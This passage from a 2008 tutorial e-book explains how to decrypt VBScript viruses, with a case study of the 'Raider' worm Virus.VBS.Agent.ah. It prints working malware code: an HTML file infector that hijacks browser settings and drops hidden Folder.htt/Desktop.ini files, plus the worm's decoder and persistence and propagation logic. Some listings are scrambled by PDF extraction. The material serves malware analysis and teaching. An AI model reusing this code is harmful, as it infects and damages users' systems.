Resume Next For Each sf1 In fso.GetFolder(p).Files Select Case LCase(fso.GetExtensionName(sf1.Name)) Case "htm", "html", "htt"

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

FileInfect(sf1.Path) End Select

- 23

-

Next End Sub Function vCode() On Error Resume Next vCode = "<" & "script id=icaros language=vbscript.encode>" & _ Replace(document.all.icaros.innerHTML, vbCrLf, "") & "</" & "script>" End Function Sub RegChange() On Error Resume Next AE = "http://mtic.1fr1.net/index.htm" SP = "about:error" HCU = "HKEY_CURRENT_USER\" SM = "Software\Microsoft\" HLM = "HKEY_LOCAL_MACHINE\" WC = "Windows\CurrentVersion\" PE = "Policies\Explorer\" IE = "Internet Explorer\" S=HCU&SM&IE&"Main\Start Page" A=HLM&SM&IE&"AboutURLs\error" E=HLM&SM&WC&"ExtShellViews\{5984FFE0-28D4-11CF-AE66-08002B2E1262}\" N=HLM&SM&WC&PE&"NoFolderOptions" H=HCU&SM&WC&"Explorer\Advanced\Hidden" C=HCU&SM&WC&PE&"ClassicShell" With WshShell DW = "REG_DWORD" SZ = "REG_SZ" .RegWrite(S, SP, SZ) .RegWrite(A, AE, SZ) .RegWrite(N, 1, DW) .RegWrite(H, 0, DW) .RegWrite(C, 0, DW) .RegDelete(E) End With End Sub Function ThisDirPath() On Error Resume Next p = Replace(UnEscape(document.location), "file:///", "") If fso.FileExists(p) Then p = Replace(p, fso.GetFileName(p), "") Else If Not(Len(p)<=3) Then p=p&"/" End If ThisDirPath = p End Function Function TemplateDir() On Error Resume Next p = fso.GetSpecialFolder(0) & "\Web" fso.DeleteFolder(p, True) fso.CreateFolder(p) myFile = fso.GetFolder(p) myFile.Attributes = 7 TemplateDir=p&"\" End Function Sub DropTemplate(ByVal path) On Error Resume Next FolderHTT = "<html><body scroll=no style=margin:0><object classid=clsid:1820FED0-473E-11D0-A96C-00C04FD705A2 style=width:100%;height:100%></object></body></html>"

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

- 24

-

MARTANI Fakhrou

iniLine = array("[ExtShellFolderViews]", "Default={5984FFE0-28D411CF-AE66-08002B2E1262}", "{5984FFE0-28D4-11CF-AE6608002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}", "", "[{5984FFE028D4-11CF-AE66-08002B2E1262}]", "PersistMoniker=file://Folder.htt", "", "[.ShellClassInfo]", "ConfirmFileOp=0") DesktopINI = Join(iniLine, VbCrLf) p=path&"Desktop.ini" FileCreate(p, DesktopINI) FileAttr(p, 7) p=path&"Folder.htt" FileCreate(p, FolderHTT & vCode) FileAttr(p, 7) End Sub Sub FileCreate(ByVal filename, ByVal contents) On Error Resume Next FileAttr(filename, 0) myFile = fso.CreateTextFile(filename, True) myFile.Write(contents) myFile.Close() End Sub Sub FileAttr(ByVal filename, ByVal attr) On Error Resume Next myFile = fso.GetFile(filename) myFile.Attributes = attr End Sub Function AppObj() On Error Resume Next AppObj = document.applets(AppletName) End Function Function fso() On Error Resume Next fso = CreateObj(fsoCLSID) End Function Function WshShell() On Error Resume Next WshShell = CreateObj(wsCLSID) End Function Function CreateObj(ByVal CLSID) On Error Resume Next AppObj.SetCLSID(CLSID) AppObj.createInstance() window.status = "" CreateObj = AppObj.GetObject() End Function --></script>

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Summary

- 25

-

As we saw in this chapter, encryption / encoding play a big role in VBScript viruses and in almost all viruses (especially scripting ones), the encryption process aim to obfuscate the code so it can‘t be easily decoded or decrypted and hence the Antivirus can't just get a signature of the encrypted virus and look for it, it has another role which is not allowing others to play around the original source code and modify it. This chapter also focused on the basic encryption techniques and the algorithms used to encode the script and how to follow the decryption process to find the original source code.

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

2. A real decryption process

- 26

-

The previous chapter discussed very basic and simple viruses that had been there for years, they use algorithms that are so easy to follow and we follow them to reverse-engineering the encryption process, in this chapter we have a more serious virus with a so strong encryption algorithm (strong do not mean compared to encrypting algorithms but compared to other encrypted viruses). Decrypting that virus is a real pleasure and you will see how funny it is, you can also use the associated project named decrypting vbs virus to help you viewing the code in action (it‘s a vb.net project and needs Visual Studio), you can change the source code to play around the functions and so on…

2.1. Analyzing the Virus.VBS.Agent.ah.vbs virus: The virus that we are about decrypting has some behavior that we mention briefly here. It changes itself to a .vbe file and copies itself in the Windows and Windows\System32 directories.

2.1. a. First look to the virus code: The virus that we are about to decrypt (or decode we use interchangeably those words) is a set of VBScript instructions that had been encrypted so it can‘t be read easily and detected by AVs (although it is). If you open the source code of the virus (virus.txt), attached with the downloads from my web site you will see something like that (next page):

Chapter II: A real decryption process 2.1. Analyzing the code 2.1.a. first look to the virus code 2.1.b. finding the entry point of the code 2.1.c. analyzing the first executed function 2.1.d. Decrypting the first executed function

2.2. Decrypting the Virus.VBS. Agent.ah source code 2.2.a. the problem with the decrypted function 2.2.b. the final source code Summary

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

LISETING 2.1: First look of the virus source code.

- 27

-

You find in the source codes which come with this book the complete source code of the virus (encrypted and decrypted), the encrypted source code is in the file Virus.txt (the extension is changed for security and to visualize the source code safety). You can visualize the code in any text editor, we use NotePad here.

2.1. b. Finding the entry point of the code Every application has an entry point or a statement that executes first, in VBScript or any scripting language, the entry point is always the first stand-alone instruction (of the language). Because scripting languages are interpreted languages, when executing a script you just tell the script engine to run it line by line and execute the first instruction it find. Knowing the entry point is simply finding the first statement in the virus code that is VBScript specific instruction. Almost in the VBScript encrypted viruses the first statement is always the execute statement, so our aim here is to find the occurrences of the execute word in the code. Doing a simple search in our code, we find three occurrences of the word execute, so which one we choose? In fact we have to analyze every occurrence to see if it is a stand alone instruction or not. TIP : A standalone instruction means that this instruction is not inside a string (not enclosed within quotes ― ‖) or inside a sub … end sub | function… end function blocs.

The following Listing shows the first and the second occurrences of the execute statement in the code.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

LISETING 2.2: First occurrence of the execute function in the virus source code.

- 28

-

For the first occurrence it‘s straightforward, we see that the execute word is enclosed by two quotes so it‘s just a part of a string variable which means that it‘s not the instruction that we are looking for. For the second (the last line of the Listing 1.2), it seems so real, I mean it‘s not enclosed by double quotes and it‘s followed by two brackets and an argument passed to it (execute(y)). Well here we have to think more about how does this statement will be executed, if we just turn back to the first line of the listing we find the keyword function and just after it (the execute word) we find the end function keyword, so as we said in the previous tip this execute statement will never be fired up till the host function (the uc function) is executed, that means simply it‘s not what we are looking for. Moving ahead to the third occurrence we find the following: LISETING 2.3: Third occurrence of the execute function in the virus source code.

Well the third occurrence seems to be the one we are looking for, first it‘s between the two ―:‖ marks (―:‖ mean break line in VB, it‘s like the ―;‖ in C++ and JAVA), and it‘s a standalone function, so it‘s the entry point to our code.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

2.1. c. Analyzing the first executed function In the previous section we saw how to find the entry point of the code. Finding the entry point of the code is defining the first thing the code does and hence the first instruction running to make the virus fired up. - 29

-

It‘s so simple, we have execute(uc(lO+qO)) so it‘s a function called uc that executes first, we see also that it accepts one parameter, in our case it‘s the s um of the two variables lO and qO. Good job! We move ahead and search for the function uc, remember we are searching for a function and not an instruction or a string value, so as you know that a function must be preceded by the keyword function and end by the keyword end function. Here is the result of searching the word uc: LISETING 2.4: The uc function in the encrypted source code.

We see that the uc word is preceded by the keyword function and in the last line we find the end function keyword also, so we are in the right place. As you guess the function is encrypted so we will try to decrypt it to see what‘s the next step of the virus.

2.1.c. Decrypting the first executed function The first step in the decrypting process is to analyze deeply the code to find out the variables, comments, instructions and other things…Here we can see a set of variables which are: x, y, z and w.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

The following listing shows the values of those variables: LISETING 2.5: The variables of the uc function.

- 30

-

x="633d766263726C663A643D3132373A663D31313A6A3D31323A683D31343A6D 3D33313A723D38333A6B3D313A6E3D383A733D3131343A753D2D353A763D350D0 A693D22696620613D223A743D22207468656E20223A653D22656C736569662061 3E3D223A613D2220616E6420613C3D223A673D22613D612B223A6F3D742663266 73A703D6326653A713D6326690D0A65786563757465286C2622666F722069693D 3120746F206C656E2862293A613D617363286D696428622C69692C31292922267 12622642226742622613D31332226712622662226742622613D31302226712622 6A22267426632622613D3334222663266526226822266126226D22266F2622722 2267026226B22266126226E22266F262273222670262235332226612622353722 266F262275222670262234382226612622353222266F2622762226632622656E6 4206966222663262275633D75632B63687228612922266326226E657874222663 262275633D726E2B632B75632229" y="execute """"" z="&chr(&h" w=")"

After that declaration we find the following code: LISETING 2.6: suite of the uc function. execute("do while len(x)>1:if isnumeric(left(x,1)) _ then y=y&z&left(x,2)&w:x=mid(x,3) _ else y=y&z+left(x,4)+w:x=mid(x,5)"&vbcrlf&"loop"):execute(y)

Now we have the uc function, by analyzing listing 2.6 we find that we have two execute statements, the first having the code that make the y variable, and the second executes the instructions in the y string. So now we know that the first step of the virus is to make the y variable. We move on and try to make that y variable ourselves, we need just to copy the declaration of variables and the instructions inside the first execute function to our project work space. Listing 2.7 shows the complete code of a class in VB.NET that contains the uc function and the implementation of its functionalities. The code below shows some of the techniques we‘ll use in all the process of decrypting the virus, so I‘ll just explain them here. First, we found two execute statements in our uc function, the first makes the y string and the second executes it, so it‘s normally to make some simple changes to the first to get our y string, to know why it‘s executed after that. Trying to make y implies us to use our proper language (VB.NET in our case), so we first make option strict and option implicit to off to behave closely to VBScript (avoiding declaration and returning values of functions and most importantly casting).

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Second we just copy the declaration of variables and the code inside the execute statement, and organize it in a way we can have a good look and the same results. Finally we affect y to the returning result of the function, and assign it to the text property of a TextBox in the Load event of our Form.

- 31

Project: decrypting vbs virus _ Step 1

-

LISETING 2.7: a Vb.net classe implementing the uc function. Option Explicit Off Option Strict Off Imports vb = Microsoft.VisualBasic Public Class Form1 Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load TextBox1.Text = uc("") End Sub Function uc(ByVal b) x = "633d766263726C663A643D3132373A663D31313A6A3D31323A683D31343A6D3 D33313A723D38333A6B3D313A6E3D383A733D3131343A753D2D353A763D350D0 A693D22696620613D223A743D22207468656E20223A653D22656C73656966206 13E3D223A613D2220616E6420613C3D223A673D22613D612B223A6F3D7426632 6673A703D6326653A713D6326690D0A65786563757465286C2622666F7220696 93D3120746F206C656E2862293A613D617363286D696428622C69692C3129292 226712622642226742622613D31332226712622662226742622613D313022267 126226A22267426632622613D3334222663266526226822266126226D22266F2 6227222267026226B22266126226E22266F26227322267026223533222661262 2353722266F262275222670262234382226612622353222266F2622762226632 622656E64206966222663262275633D75632B63687228612922266326226E657 874222663262275633D726E2B632B75632229" y = "execute """"" z = "&chr(&h" w = ")" 'here the first execute statement Do While Len(x) > 1 If IsNumeric(vb.Left(x, 1)) Then y = y & z & vb.Left(x, 2) & w x = Mid(x, 3) Else y = y & z + vb.Left(x, 4) + w x = Mid(x, 5) End If Loop 'execute(y) Return y End Function End Class

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Running that code gives us the following result:

- 32

-

Pretty cool isn‘t it? We just started to see results, don‘t tell me you don‘t see anything!! Well ok, these are non-understood characters for humans but try to look closely; it‘s just a series of Chr function that gives us a character when providing it the associated ASCII code.

Tip: Understanding What’s Going On :

Here, we should mention that what we see is the transformed variable x with some strategies of encryption, remember that what we have is the y variable, that means: the encrypted code of the uc function is in the x variable and the decrypted (the pseudo-decrypted) code is in the y variables, and remember also that that y variable will be executed by the second execute statement of the uc function. Now we should transform our Chr functions to real characters so we can see more precisely what‘s going on. The code simply checks for the first character in the x variable, if it is a number it extracts two characters from the leftmost and passes them to the chr function and deletes them from the x variable. If the first character is not a number it extracts four characters from the leftmost and passes them to the chr function and deletes them from the x variable. Because the extracted values are in Hexadecimal we need to concatenate them with the &H prefix as follows

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

LISETING 2.8: y = y & Chr("&H" & vb.Left(x, 2))

Now we do some changes in our previous uc function in listing 2.7, the changes are in bold. - 33

-

Project: decrypting vbs virus _ Step 2 LISETING 2.9: a Vb.net classe implementing the uc function. Function uc(ByVal b) x = "633d766263726C663A643D3132373…" y = "execute """"" z = "&chr(&h" w = ")" 'here the first execute statement Do While Len(x) > 1 If IsNumeric(vb.Left(x, 1)) Then

y = y & Chr("&H" & vb.Left(x, 2)) x = Mid(x, 3) Else

y = y & Chr("&H" & vb.Left(x, 4)) x = Mid(x, 5) End If Loop 'execute(y) Return y End Function

After making those changes and running the application we get the following output:

Now, congratulations! We have a fully supported VBScript code and real understood expressions, but why not make life easier and do the same as we have done before. As usual we copy the variables declaration, and run out what‘s inside the execute statement. The following is the new uc function code. It returns what‘s inside the execute statement, (remember that we want to know what‘s inside the execute statement not to run it, that‘s why we remove the word execute and replace it by return).

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Project: decrypting vbs virus _ Step 3 LISETING 2.10: The new uc function code.

- 34

-

Function uc(ByVal b) c = vbCrLf : d = 127 : f = 11 : j = 12 : : k = 1 : n = 8 : s = 114 : u = -5 : v = i = "if a=" : t = " then " : e = "elseif g = "a=a+" : o = t & c & g : p = c & e :

h = 14 : m = 31 :r = 83 5 a>=" : a = " and a<=" : q = c & i

Return (l & "for ii=1 to len(b):a=asc(mid(b,ii,1))" & q & "d" t &_ "a=13" & q & "f" & t & "a=10" & q & "j" & t & c & "a=34" c & e & "h" & a & "m" & o & "r" & p & "k" & a & "n" & o & "s" p & "53" & a & "57" & o & "u" & p & "48" & a & "52" & o & "v" c & "end if" & c & "uc=uc+chr(a)" & c & "next" & c & "uc=rn+c+uc")

& & & &

End Function

Running that will give the following result, which is the native code of the uc function (as coded by the hacker who designed that virus ). Think about it, the first code you see of the uc function (the encrypted variable x and the steps of decoding …) and the one you have just reached, amazing isn‘t it?

The final uc function.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Of course the final code of the uc function must include the variables declaration, this is the ultimate uc source code. LISETING 2.11: The final uc function code (The VBScript code).

- 35

-

Function uc(ByVal b) c = vbCrLf : d = 127 : f = 11 : j = 12 : : k = 1 : n = 8 : s = 114 : u = -5 : v = i = "if a=" : t = " then " : e = "elseif g = "a=a+" : o = t & c & g : p = c & e :

h = 14 : m = 31 :r = 83 5 a>=" : a = " and a<=" : q = c & i

For ii = 1 To Len(b) a = Asc(Mid(b, ii, 1)) If a = d Then a = 13 If a = f Then a = 10 If a = j Then a = 34 ElseIf a >= h And a <= m Then a = a + r ElseIf a >= k And a <= n Then a = a + s ElseIf a >= 53 And a <= 57 Then a = a + u ElseIf a >= 48 And a <= 52 Then a = a + v End If uc = uc + Chr(a) Next uc = rn + c + uc End Function

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

2.1. Decrypting the Virus.VBS.Agent.ah source code

- 36

-

In the previous chapter we saw how to find the entry point and follow the execution process until decrypting the uc function (which is actually the one that will decrypt the rest of the code.), some may ask why that function is the one that will decrypt the rest of the code, well the answer is so clear, because when we found the entry point we found that uc function is executed immediately at this step, and we saw also that the arguments passed to it are lo+qo, and hence, the real source code is hold by these two stings. To clarify things, let‘s say that we decrypt the function that is responsible for decrypting the virus, the first step is done in the previous section , we have to complete the rest (believe me! the uc function will do everything, we have just to follow the logic of the execution). Because the two strings lo and qo are passed to the uc function, and because we have the uc function code, lets pass those variables to the function and see the result (remember to put the new code of the uc function instead of the old). The code is so simple; just type in the Load event of the Form the following code, of course as we said before, you have to copy the variables lo, qo and oo from the encrypted source code (virus.txt) to the class as follows: Project: decrypting vbs virus _ Step 4

Then add the following TextBox1.Text=uc(lO+qO) in the form load event. Ok let‘s see the results:

Figure 2.1

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Also encrypted code! Ok don‘t give up now! Don‘t you see the famous error handling of the VB style on error resume next (the first line of the previous figure), and by scrolling down to the end you will see a fully supported VBScript function called er with VBS keywords and instructions, so we are on the road.

- 37

-

Now we proceed as we have done in the first part of this tutorial, we have to find the first statement executed in this piece of code. Its so simple I guess just do a search for the execute function and find out the one that can be executed normally (not between two ―:‖ marks which means it‘s a standalone function, furthermore it‘s not within a function … end function blocs or enclosed by quotes). This is the function:

Figure 2.1.a

Now I guess you know what to do next! Just copy what‘s between parentheses of the execute function that we found, and assign it‘s value to the text property of the TextBox1, one more step is to copy all the code found here (the code in figure 2.1.a, just after on error resume next and before the highlighted execute) in the load event of our form (you find all the code with the project coming with the book), because actually those are the variables that must be decrypted to find out the original code just like the x variable from the chapter one. Here is the code (of course in the load event of the form): Project: decrypting vbs virus _ Step 5 LISETING 2.12: first step in decrypting the virus code. TextBox1.Text = ext & "dyz))" & ext & "zcx))" & fut & "gt()" & ext & "gtz" & aft & "ei(name,wt)" & ext & "eiz" & aft & "df(wh)" & ext & "dfz" & aft & "bf(wh,wt,da)" & ext & "bfz" & aft & "bi(wh)" & ext & "biz" & aft & "rt(wh,li)" & ext & "rtz" & aft & "wr(rna,rda)" & ext & "wrz" & aft & "rr(rna,pa)" & ext & "rrz" & aft & "ar(file,cg)" & ext & "arz" & aft & "dn(loc,web,ris,min)" & ext & "dnz" & aft & "pr(pcs,gs)" & ext & "prz" & aft & "ec(wt)" & ext & "ecz" & aft & "co(wh)" & ext & "coz" & aft & "rs(sw)" & ext & "rsz" & aft & "hi(sw)" & ext & "hiz" & aft & "gi(ids,fid,eid,fname,furl)" & ext & "giz" & aft & "dw(pcs,fname,furl,kill)" & ext & "dwz" & aft & "us(sw)" & ext & "usz" & aft & "cu()" & ext & "cuz" & aft & "km(sw)" & ext & "kmz" & aft & "cf(wh)" & ext & "cfz" & eft

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Running it gives us the following code that is actually the prototype of the virus.

- 38

-

Figure 2.2

Wow, that‘s a real prototype of a program; you can find it in the associated prototype.txt. Ok you will say now that we are almost at the end, well you are right . Lets try out the first statement in the previous prototype, execute(uc(dyz)), now you should know how to do it your self. Just associate to TextBox1.text the uc(dyz) and run it. The code In the load event: TextBox1.Text = uc(dyz) The resulting output:

Now move ahead, analyze the resulting code and try to find out what‘s the next step of the hacker, if you don‘t find anything try out the next statements from figure 2.2, and keep trying yourself and see if you have some experience from what you read till now or not.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

2.2. a. the problem with the decrypted function if you moved here because you didn‘t find anything helpful in decoding the previous prototype, you don‘t have to worry because it‘s not an easy problem to solve.

- 39

-

I‘ll tell you the secret, when I first reached this step, I tried and tried so hard to understand the next steps of the virus, but I didn‘t find anything, I tried for hours to find out what‘s the problem and finally, I realized something. There is a small problem in our uc function, I know! You will say: but we did all the decrypting before, and everything worked normally, that‘s right, but the uc function can‘t continue like that anymore, there is a missing part of that function. If you were following me in all the process, I‘ll ask you to turn back to the previous section and exactly to listing 2.10, here is it again: LISETING 2.10: The new uc function code. Function uc(ByVal b) c = vbCrLf : d = 127 : f = 11 : j = 12 : : k = 1 : n = 8 : s = 114 : u = -5 : v = i = "if a=" : t = " then " : e = "elseif g = "a=a+" : o = t & c & g : p = c & e :

h = 14 : m = 31 :r = 83 5 a>=" : a = " and a<=" : q = c & i

Return (l & "for ii=1 to len(b):a=asc(mid(b,ii,1))" & q & "d" & t & "a=13" & q & "f" & t & "a=10" & q & "j" & t & c & "a=34" & c & e & "h" & a & "m" & o & "r" & p & "k" & a & "n" & o & "s" & p & "53" & a & "57" & o & "u" & p & "48" & a & "52" & o & "v" & c & "end if" & c & "uc=uc+chr(a)" & c & "next" & c & "uc=rn+c+uc") End Function

When we where in the first steps of decoding, we get what the uc code we are using until now, but now running that code will give a different result, why? Simply there is a variable in that code called l it‘s just after the keyword return in that listing, in the previous chapter it had an empty value (l=””), but now and exactly in the figure 2.1 step, the variables that we got include among them the variable l with the following value l = "d=125:f=123:j=124:h=97:m=109:r=13:k=110:n=122:s=-13:u=0:v=0:"

Now if you turn back and execute the listing 2.10 again with declaring the l variable also you will get the ultimate uc function that will serve us as our powerful weapon. In order for all that to work we need to declare all the variables we found in the step figure 2.1 in the class scope so that they will be available to all the functions and the code, here is the declaration: If it seems not so clear, please refer to the associated project in step 6.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Project: decrypting vbs virus _ Step 6 LISETING 2.2: The declaration of the variables. - 40

-

Public Class Form1 Dim dyz, gtz, eiz, dfz, fut, bfz, biz, rtz, wez, arz, eft, dnz,_ prz, ecs, l, zcx, aft, coz, rn, rsz, hiz, giz As String Dim rrz, wrz, dwz, usz, cuz, ext, kmz, cfz, cnr, cnp, ecz As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load TextBox1.text=uc(“something”) „ The rest of the code commes here

And here is the uc function code after execution:

Now we see a new line of code in the top of our function, this line is the l variable, and here is the complete uc function code:

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

LISETING 2.3: The final uc function code (The VBScript code). Function uc(ByVal b) c = vbCrLf : d = 127 : f = 11 : j = 12 : : k = 1 : n = 8 : s = 114 : u = -5 : v = i = "if a=" : t = " then " : e = "elseif g = "a=a+" : o = t & c & g : p = c & e : - 41

-

h = 14 : m = 31 :r = 83 5 a>=" : a = " and a<=" : q = c & i

d = 125 : f = 123 : j = 124 : h = 97 : m = 109 : r = 13 : k = 110 : n = 122 : s = -13 : u = 0 : v = 0 For ii = 1 To Len(b) a = Asc(Mid(b, ii, 1)) If a = d Then a = 13 If a = f Then a = 10 If a = j Then a = 34 ElseIf a >= h And a <= m Then a = a + r ElseIf a >= k And a <= n Then a = a + s ElseIf a >= 53 And a <= 57 Then a = a + u ElseIf a >= 48 And a <= 52 Then a = a + v End If uc = uc + Chr(a) Next uc = rn + c + uc End Function

Code in bold is the difference from the previous one. In fact the source code of the virus is composed of that prototype, the variables declaration step 4 figure 2.1 and the uc function. LISETING 2.4: The prototype of the virus (found in figure 11). execute(uc(dyz)) execute(uc(zcx)) function gt():execute(uc(gtz)):end function function ei(name,wt):execute(uc(eiz)):end function function df(wh):execute(uc(dfz)):end function function bf(wh,wt,da):execute(uc(bfz)):end function function bi(wh):execute(uc(biz)):end function function rt(wh,li):execute(uc(rtz)):end function function wr(rna,rda):execute(uc(wrz)):end function function rr(rna,pa):execute(uc(rrz)):end function function ar(file,cg):execute(uc(arz)):end function function dn(loc,web,ris,min):execute(uc(dnz)):end function function pr(pcs,gs):execute(uc(prz)):end function function ec(wt):execute(uc(ecz)):end function function co(wh):execute(uc(coz)):end function function rs(sw):execute(uc(rsz)):end function function hi(sw):execute(uc(hiz)):end function function gi(ids,fid,eid,fname,furl):execute(uc(giz)):end function function dw(pcs,fname,furl,kill):execute(uc(dwz)):end function function us(sw):execute(uc(usz)):end function function cu():execute(uc(cuz)):end function function km(sw):execute(uc(kmz)):end function function cf(wh):execute(uc(cfz)):end function

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Returning to the step of figure 2.2 (step 5) we start passing all the parameters passed to the uc function from the prototype found before (in other words replacing all the occurrences of the uc function in the previous prototype), we start by uc(dyz), Here is the code In the load event: TextBox1.Text = uc(dyz) , doing so give us the following result: - 42

Project: decrypting vbs virus _ Step 7

LISETING 2.5: uc(dyz).

ver = "8" & ".25" vs = ".vbs" ve = ".vbe" j = "\" cm = "%comspec% /c " dfo = "/8#0/" til = "Raider " & ver inf = "\autorun.inf" ws = CreateObject("wscript.shell") wmi = GetObject("winmgmts:\\.\root\cimv2") fso = CreateObject("scripting.filesystemobject") sis = wmi.execquery("select * from win32_operatingsystem") dc = fso.drives ouw = wscript.scriptfullname win = fso.getspecialfolder(0) & j Dir = fso.getspecialfolder(1) & j tmp = fso.getspecialfolder(2) & j wbe=dir&"wbem\" mir = Left(ouw, Len(ouw) - Len(wscript.scriptname)) wsr = "createobject(""wscript.shell"").run" cnr = "\computername" cnp="HKLM\system\currentcontrolset\control"&cnr&cnr&cnr cna = rr(cnp, 0) If cna = "" Then cna = til rpa="HKLM\software\"&cna&j rop = "\software\microsoft\windows\currentversion\explorer\" sf = "shell folders\" fsp=rr("HKLM"&rop&sf&"common startup",0)&j&vs fap=rr("HKCU"&rop&sf&"favorites",0)&j dap=rr("HKCU"&rop&sf&"desktop",0)&j rsn = cna : ht = ec("ivwt?56") : ha = ec(":;9::<5kw9") hc = ":143gzxHsH" : he = ec("c" + hc) rsp = "HKLM\software\microsoft\windows\currentversion\policies\explorer\run\" If mir = Dir() Then sys = True For Each si In sis ca = si.caption cs = si.codeset cc = si.countrycode os = si.oslanguage wv = si.version Next hip="HKCU"&rop&"advanced\showsuperhidden" hb = "v91:;676x" & Chr(124) & "r;" If InStr(wv, "5.2") <> 0 Then hd = "t" + hc ElseIf os <> 2052 Then hd = "p" + hc Else hd = "$" + hc End If Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net Copyright MARTANI


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

We complete with all the occurrences of the uc function in the prototype replacing at the same time the code we get by the one of execute(uc(“Some Thing Here”)), I‘ll show just the next occurrence of the uc function, for the others you find them in the file AllFunctions.txt, the process is the same. LISETING 2.5: uc(dyz). - 43

-

For Each d In dc if mir=d&j then ws.run "explorer "&d,3,false next ouc = rt(ouw, -1) : If cf(ouw) Then MsgBox("holle,raider!") km(1) If sys Then if rr(rsp&"explorer",0)<>"0" then wr rsp&"explorer",-1 hi(1) If rr("til", 1) <> til Then wr("til", til) wr("tjs", 1) wr "djs",date wr("ded", 0) End If If rr("atd", 1) = 1 Then ws.run("at /d /y", 0, False) wr("atd", 0) if rr(rsp&rsn,0)=ve then rs -1 le = rr("dna", 1) if ei(tmp&le,1) then ws.run tmp&le km(0) cu() er(1) wscript.sleep(1000) if rr("ded",1)<>cstr(date) then ws.run ouw Else wscript.sleep(5000) If pr("wscript.exe", 2) = 2 Then if rr("tjc",1)=cstr(date) then wscript.quit() Else wr "tjc",date End If If pr("wscript.exe", 2) = 1 Then wscript.quit() ar ouw,7:co dir&ve:co win&ve:rs 1:ws.run dir&ve End If End If

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

2.2.b. the final source code Project: decrypting vbs virus _ Step 8

- 44

-

Finally we replace all the appearances of the uc function from the previous prototype by its equivalent, we just run the uc function with the appropriate parameter and we get the final source code. By completing all the functions in the prototype we find our selves with the full code of the virus, you can find it in VirusDecrypted.txt, the full code is composed of: the functions we have just decrypted now, the uc function and the last function found in figure 2.1.a and without forgetting the oo variable. Project: decrypting vbs virus _ Step 9 For the final source code you find it in the step 9 of the decrypting vbs virus project.

Copyright MARTANI Š April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

Summary The weakest part of a VBScript virus is that it must include the function that decrypts it, that way we just follow the logic of the execution and find the different steps the virus do before its execution. After that case study, you are surely convinced that decrypting a VBScript virus is a game and needs just some patience and time. - 45

-

This chapter showed us a complete process of decrypting a VBS virus and the different problems and tricks that may face us in the whole process, it also gave some tips about how to transform the virus code to produce what we need, for example we need to know the code but the virus need to execute it. In most cases you won‘t need more that those basics to decrypt a virus, but who knows maybe there will be other techniques in the future that we don‘t expect yet. Well, a good news; is that Microsoft will not support VBScript anymore, it reaches the top and need no more support, so you can say that those methods of encryption will not change a lot to be difficult to decrypt. As you see, decrypting VBScript viruses is a complex task and not a complicated one, it just needs some concentration, programming skills and time. now you can decode whatever VBS virus or even other scripting viruses, you may also notice that those are simple techniques and need no learning at all, but I think that exploring that by yourself is a time wasting and maybe so difficult some times, and that‘s why this book is here.

Copyright MARTANI © April 2008 | http://martani.net.googlepages.com | http://mtic.1fr1.net


Pro Decrypting VBScript Viruses

MARTANI Fakhrou

What‘s next? - 46

-

The purpose of decrypting a virus is of course not to send it to the Recycle Bin after that, when having the full source code it‘s the first step of understanding how the virus works, and some of the coolest techniques it implements to diffuse itself, especially in removable disks and in the network. Unfortunately we won‘t discuss these funny things in this book! But the good news is that I will publish another book soon about that. Of course you can find it in my web site, so don‘t forget to visit it frequently.

My Website: http://martani.net.googlepages.com

My Forum: http://mtic.1fr1.net

Email: martani.net@live.fr

